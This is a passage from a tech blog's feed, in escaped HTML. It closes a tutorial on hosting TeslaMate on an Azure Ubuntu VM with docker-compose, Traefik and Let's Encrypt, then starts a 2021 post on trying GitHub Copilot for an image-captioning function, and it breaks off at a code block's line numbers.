&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# don&amp;#39;t forget the sudo command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo docker-compose up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first time you run this, it will take a few minutes to pull all the images, and wire things up. During the process you will see the progress for each image in the various container app.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-18-1024x717.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt; &amp;ldquo;Console showing docker-compose progress&amp;rdquo;)&lt;/p&gt;
&lt;p&gt;And finally, if everything is setup properly you should see the container running with the logs in the console of your terminal. This is a running log, and the process is active. You will see something like the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-Docker-Compose-Up-1024x717.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Console showing docker-compose logs&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If you didn&amp;rsquo;t setup a DNS name earlier and thought you can try and use the IP name - that unfortunately will fail with the Traefik proxy server and in the logs, you will see an error to that effect. Let&amp;rsquo;s Encrypt doesn&amp;rsquo;t issue certificates for IP addresses &lt;a
	
		href = &#34;https://community.letsencrypt.org/t/ssl-certificate-for-ip-address/52054&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		as a policy
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now if we browse the URL (also known as the FQDN) you had setup earlier, you will see an authentication challenge. This is great and shows that the proxy server is setup properly and working as expected.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-Server-Login-1024x449.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Traefik http authentication&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once you enter the credentials you setup in the .&lt;code&gt;htpasswd&lt;/code&gt; file earlier you will be able to login and see the TeslaMate&amp;rsquo;s Tesla login!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-TM-Login-1024x916.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;TeslaMate Tesla authentication screen&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Congratulations! You have TeslaMate running on Azure. ✌️&lt;/p&gt;
&lt;h3 id=&#34;step-7---finishing-up-teslamate-configuration&#34;&gt;Step 7 - Finishing up TeslaMate configuration&lt;/h3&gt;
&lt;p&gt;Now that you have TeslaMate running, you need to login to Tesla. The best way to do this these days is using existing tokens . There are a few ways to do this, and one of the easiest is using &lt;a
	
		href = &#34;https://tesla-info.com/tesla-token.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this tool - Tesla API Token
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you login, go to &lt;code&gt;Settings&lt;/code&gt; and change the Dashboards URL - which would be your FQDN with &amp;ldquo;&lt;code&gt;/grafana&lt;/code&gt;&amp;rdquo; appended. Remember the credentials you use for the dashboards (i.e. Grafana) are the ones you set in the &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-TM-Dashboard-URL.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;TeslaMate URL configuration&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Now that everything is up and running, we can kill the docker-compose process, which is attached to the console, and re-run it detached from the console. To do this, go back to the &lt;code&gt;ssh&lt;/code&gt; session we have connected to the Ubuntu VM and press CTRL + C. This will stop that container and you will see a similar output as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-23-1024x796.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Console output&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And now you can restart the container with the &amp;ldquo;-d&amp;rdquo; option, which is for detached.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo docker-compose up -d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-26.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;docker-compose output&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Congratulations, you have TeslaMate running on an Azure host Ubuntu VM via docker. &amp;#x270c;&amp;#xfe0f;&lt;/p&gt;
&lt;p&gt;Below is a screenshot of my instance that has been running for some time.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-27.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;TeslaMate Overview Dashboard&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>AI writing AI code🤐</title>
      <link>/post/2021/10/ai-writing-ai-code/</link>
      <pubDate>Sun, 10 Oct 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/10/ai-writing-ai-code/</guid>
      <description>&lt;p&gt;It is 2021. And we have #AI writing #AI code. 🤪 It is quite interesting, but also can be quite boring once you get beyond the initial technology, and just think of it as one of the tools in your arsenal. And getting to that point is a good think.&lt;/p&gt;
&lt;p&gt;As part of a think at work I recently started playing with &lt;a
	
		href = &#34;https://copilot.github.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub Copilot
	&lt;/span&gt;
&lt;/a&gt;, which is using GPT3 to be your pair programmer &amp;ndash; helping write code. GPT3 has &lt;a
	
		href = &#34;https://www.desigeek.com/blog/amit/2021/06/21/gpt-3-vs-other-ai-powered-assistants/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		multiple models
	&lt;/span&gt;
&lt;/a&gt; (called engines), and Copilot uses one of these family of engines called Codex. Codex is a derivative of the base GPT3 engine that is trained on billions of lines of code.&lt;/p&gt;
&lt;p&gt;Using Copilot is quite simple; you install the &lt;a
	
		href = &#34;https://marketplace.visualstudio.com/items?itemName=GitHub.copilot&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Github Copilot extension,
	&lt;/span&gt;
&lt;/a&gt; and it shows up in your IDE (VSCode in my example). We need to make sure we decompose the problem we are trying to solve - we should not think of this as helping write the complete program or all parts; but as it can help with different functions and pieces of code. To do this, we need to tell it what we are trying to do - these are done via prompts (code comments). For GPT models, prompt engineering is quite critical, and would be worth getting to details and understanding.&lt;/p&gt;
&lt;p&gt;Starting simple, I create an empty python file and entered a prompt that outlines what I want to try and do. In this case as you can see in the screenshot below - I want to load an image from a file, and using our &lt;a
	
		href = &#34;https://azure.microsoft.com/en-us/services/cognitive-services/computer-vision/#overview&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vision Cognitive Services
	&lt;/span&gt;
&lt;/a&gt;, run an image analysis, and auto-generate a caption for that image.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-1024x538.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I started typing the definition of a function, and Copilot (via the add-in) understands the prompt I outlined, and the context of the code on what I am doing. Remember Codex builds on the base GPT3 and does have all that NLU capability.&lt;/p&gt;
&lt;p&gt;Taking all of this in, it suggests completing the function for me. In terms of using this as an end-user (i.e. the developer) - the suggested code shows up as auto-complete and you can see it in the grey color. If I like that suggestion, I press tab and have it added to the file.&lt;/p&gt;
&lt;p&gt;In this case you can see how it is reading the file from disk, calling a function called &lt;code&gt;get_caption()&lt;/code&gt; and printing the caption to the stdout (console in this example).&lt;/p&gt;
&lt;p&gt;There is also an option to cycle through different suggestions and then pick another one as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-1-1024x551.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This variant of the suggested code is creating a function called &lt;code&gt;image_caption()&lt;/code&gt; which takes the path to the image file to load. This also expects other required things for the Vision cognitive service to work - such as the subscription key to authenticate, the API end-point details to call, etc.&lt;/p&gt;
&lt;p&gt;Typically, Copilot can synthesize up to 10 code options (Copilot calls these as Solutions), that one can cycle through and see if there is a better variant for the task at hand. The screenshot below shows this experience in VS Code.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image-2-1024x829.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The ask whilst simple, still involves a bit of code which needs to be written - reading from file, setting up the subscription details, and wiring that up to call this etc. And it is in these cases really where Copilot shines - it is your copilot picking up the &amp;lsquo;gunk work&amp;rsquo; - freeing up your bandwidth, and cognition capacity on the more interesting and higher order bit of code and value to your business.&lt;/p&gt;
&lt;p&gt;To get a flavor of our AI writing AI code, below is the full set of the nine suggestions the Copilot came back for what I was trying to do.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
